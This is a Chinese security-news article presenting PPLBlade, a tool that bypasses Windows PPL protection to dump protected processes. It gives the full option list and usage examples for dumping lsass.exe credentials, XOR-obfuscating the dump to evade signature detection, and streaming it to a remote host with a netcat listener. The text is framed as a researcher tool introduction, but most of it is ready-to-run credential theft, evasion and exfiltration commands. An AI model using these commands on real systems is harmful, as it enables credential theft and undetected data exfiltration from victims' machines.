freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PPLBlade:一款功能强大的受保护进程转储工具
2024-02-20 00:05:29

关于PPLBlade

PPLBlade是一款功能强大的受保护进程转储工具,该工具支持混淆内存转储,且可以在远程工作站上传输数据,因此不需要触及磁盘。

在该工具的帮助下,广大研究人员能够轻松绕过各种进程保护技术来实现进程数据转储,以测试目标系统和进程的安全情况。

功能介绍

1、绕过PPL保护;

2、混淆内存转储文件以绕过基于签名的安全检测机制;

3、使用RAW和SMB上传方法上传内存转储,而无需触及磁盘,即无文件转储;

需要注意的是,项目源文件中的PROCEXP15.SYS仅做代码编译使用,请不要将其与PPLBlade.exe一起发送至目标设备中。

所有相关的代码已经嵌入到了PPLBlade.exe,因此我们只需要运行这一个单独的可执行文件即可。

支持的工作模式

1、转储(Dump):使用进程ID(PID)或进程名称转储目标进程内存数据;

2、解密(Decrypt):将经过混淆的转储文件恢复成原本状态(--obfuscate);

3、清理(Cleanup):手动清理,防止工具运行出现错误;

4、lsass.exe转储(DoThatLsassThing):使用进程浏览器驱动程序转储lsass.exe;

句柄模式

1、Direct:使用OpenProcess()函数,直接打开PROCESS_ALL_ACCESS句柄;

2、Procexp:使用PROCEXP152.sys获取一个句柄;

工具下载

预编译版本

广大研究人员可以直接访问该项目的【Releases页面】下载最新版本的预编译PPLBlade。

源码获取

由于该工具基于Go和Python开发,因此我们首先需要在本地设备上安装并配置好最新版本的Go和Python环境。

广大研究人员还可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/tastypepperoni/PPLBlade.git

然后切换到项目目录中,使用go build完成代码编译即可:

cd PPLBlade

go build

工具使用帮助

Usage of PPLBlade.exe:

  -driver string

        存储驱动器文件的路径 (默认为: 当前目录)

  -dumpmode string

        转储模式 [local|network] (默认为"local")

  -dumpname string

        转储文件名称 (默认为"PPLBlade.dmp")

  -handle string

        获取目标进程句柄的方法 [direct|procexp] (默认为"direct")

  -help

        打印工具帮助信息

  -ip string

        远程服务器IP地址

  -key string

        混淆处理所使用的XOR字符串 (默认为"PPLBlade")

  -mode string

        终止进程或转储进程 [dump|decrypt|cleanup|dothatlsassthing] (默认为"dump")

  -name string

        目标进程名称

  -network string

        网络传输方法 [raw|smb] (默认为"raw")

  -obfuscate

        混淆处理转储文件

  -pass string

        SMB密码

  -pid int

        目标进程PID (优先级比进程名称高)

  -port int

        远程服务器的端口号

  -quiet

        静默模式

  -service string

        服务名称 (默认"PPLBlade")

  -share string

        共享名称

  -user string

        SMB用户名

工具使用样例

使用PROCEXP152.sys转储lsass:

PPLBlade.exe --mode dothatlsassthing

上传经过混淆处理的LSASS转储至远程地址:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

研究人员主机:

nc -lnp 1234 > lsass.dmp

python3 deobfuscate.py --dumpname lsass.dmp

反混淆内存转储:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

手动清理:

PPLBlade.exe --mode cleanup

项目地址

PPLBlade:【GitHub传送门

参考资料

https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

# 混淆 # 内存转储 # 进程信息 # 进程安全 # 进程转储
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录